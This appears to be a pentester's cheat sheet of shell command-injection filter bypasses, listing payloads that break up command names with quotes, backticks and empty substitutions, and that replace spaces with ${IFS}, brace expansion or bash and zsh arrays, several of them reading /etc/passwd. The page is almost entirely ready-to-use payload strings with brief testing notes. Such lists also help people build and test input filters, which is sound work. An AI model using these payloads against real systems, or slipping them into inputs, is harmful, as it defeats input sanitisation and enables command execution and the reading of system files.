Skip to the content.

Filter bypasses

Various ways to bbypass filters looking for particular strings in input being fed to a shell

$() - null statement can be inserted into the middle of commands e.g. i$()d to bypass filters 
also i''d and i""d
who'a'mi
l``s
who${}ami
who$(:)ami
whoa\mi
&& || | ;
`` $()

Space bypasses

Ways to bypass filters that wont allows spaces

Works on bash for space, not on zsh:

cat${IFS}/etc/passwd
ls${IFS%??}-lart
{ls,-lart}
ls$IFS-lart
ls${IFS:0:1}-lart
L=ls;B=-lart;{$L,$B}
L=ls;B=-lart;{${L},${B}}
L=ls;B=-lart;${L}${IFS:0:1}${B}

This works on both zsh and bash

A[1]=ls;A[2]=-lart;${A[*]}

A[1]=cat;A[2]=/etc/passwd;${A[*]}
A[1]=cat;A[2]=/etc/passwd;${A[@]}

Claimed to work but didnt in my testing

CMD=$'\x20a\x20b\x20c';echo$CMD
CMD=$'\x20/etc/passwd'&&cat$CMD